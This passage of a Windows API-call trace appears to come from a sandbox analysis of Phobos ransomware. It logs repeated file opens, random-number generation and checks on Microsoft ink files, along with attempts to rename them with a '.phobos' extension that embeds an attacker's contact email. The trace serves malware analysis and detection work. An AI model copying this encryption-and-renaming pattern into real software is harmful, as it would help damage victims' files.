dwMilliseconds=0xffffffff) returned 0x0 [0124.659] ResetEvent (hEvent=0x52c) returned 1 [0124.659] SetEvent (hEvent=0x530) returned 1 [0124.659] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.659] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.659] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=221) returned 1 [0124.659] CloseHandle (hObject=0x590) returned 1 [0124.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml")) returned 0x20 [0124.660] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.660] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.660] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.661] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.662] ResetEvent (hEvent=0x52c) returned 1 [0124.662] SetEvent (hEvent=0x530) returned 1 [0124.662] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.662] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=215) returned 1 [0124.662] CloseHandle (hObject=0x590) returned 1 [0124.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0124.662] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.662] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.662] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.664] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.664] ResetEvent (hEvent=0x52c) returned 1 [0124.664] SetEvent (hEvent=0x530) returned 1 [0124.664] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.664] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=213) returned 1 [0124.664] CloseHandle (hObject=0x590) returned 1 [0124.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0124.665] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.665] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.666] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.667] ResetEvent (hEvent=0x52c) returned 1 [0124.667] SetEvent (hEvent=0x530) returned 1 [0124.667] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.667] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=219) returned 1 [0124.667] CloseHandle (hObject=0x590) returned 1 [0124.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0124.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.667] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.667] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.669] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.669] ResetEvent (hEvent=0x52c) returned 1 [0124.669] SetEvent (hEvent=0x530) returned 1 [0124.669] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.669] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=215) returned 1 [0124.669] CloseHandle (hObject=0x590) returned 1 [0124.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0124.669] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.670] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.670] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.671] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.671] ResetEvent (hEvent=0x52c) returned 1 [0124.671] SetEvent (hEvent=0x530) returned 1 [0124.671] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.671] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.671] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=805) returned 1 [0124.671] CloseHandle (hObject=0x594) returned 1 [0124.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0124.672] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.672] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.672] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.673] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.674] ResetEvent (hEvent=0x52c) returned 1 [0124.674] SetEvent (hEvent=0x530) returned 1 [0124.674] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.674] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=591) returned 1 [0124.674] CloseHandle (hObject=0x590) returned 1 [0124.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml")) returned 0x20 [0124.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.674] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.676] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.676] ResetEvent (hEvent=0x52c) returned 1 [0124.677] SetEvent (hEvent=0x530) returned 1 [0124.677] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.677] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=498624) returned 1 [0124.677] CloseHandle (hObject=0x580) returned 1 [0124.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0124.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.677] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.680] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.680] ResetEvent (hEvent=0x52c) returned 1 [0124.680] SetEvent (hEvent=0x530) returned 1 [0124.680] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.681] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2515696) returned 1 [0124.681] CloseHandle (hObject=0x580) returned 1 [0124.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0124.681] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.681] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0 [0124.681] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.683] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.683] ResetEvent (hEvent=0x52c) returned 1 [0124.683] SetEvent (hEvent=0x530) returned 1 [0124.683] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.684] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2418) returned 1 [0124.684] CloseHandle (hObject=0x580) returned 1 [0124.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml")) returned 0x20 [0124.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsar.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.687] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.688] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.688] ResetEvent (hEvent=0x52c) returned 1 [0124.688] SetEvent (hEvent=0x530) returned 1 [0124.688] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.688] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2462) returned 1 [0124.688] CloseHandle (hObject=0x580) returned 1 [0124.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml")) returned 0x20 [0124.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.689] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.690] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.690] ResetEvent (hEvent=0x52c) returned 1 [0124.690] SetEvent (hEvent=0x530) returned 1 [0124.690] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.691] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2556) returned 1 [0124.691] CloseHandle (hObject=0x580) returned 1 [0124.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0124.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.691] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.693] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.693] ResetEvent (hEvent=0x52c) returned 1 [0124.693] SetEvent (hEvent=0x530) returned 1 [0124.693] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.693] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2616) returned 1 [0124.693] CloseHandle (hObject=0x580) returned 1 [0124.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0124.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.693] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.695] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.695] ResetEvent (hEvent=0x52c) returned 1 [0124.695] SetEvent (hEvent=0x530) returned 1 [0124.695] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.696] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2578) returned 1 [0124.696] CloseHandle (hObject=0x580) returned 1 [0124.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0124.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.696] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.697] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.698] ResetEvent (hEvent=0x52c) returned 1 [0124.698] SetEvent (hEvent=0x530) returned 1 [0124.698] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.698] GetFileSizeEx (in: hFile=0x580, 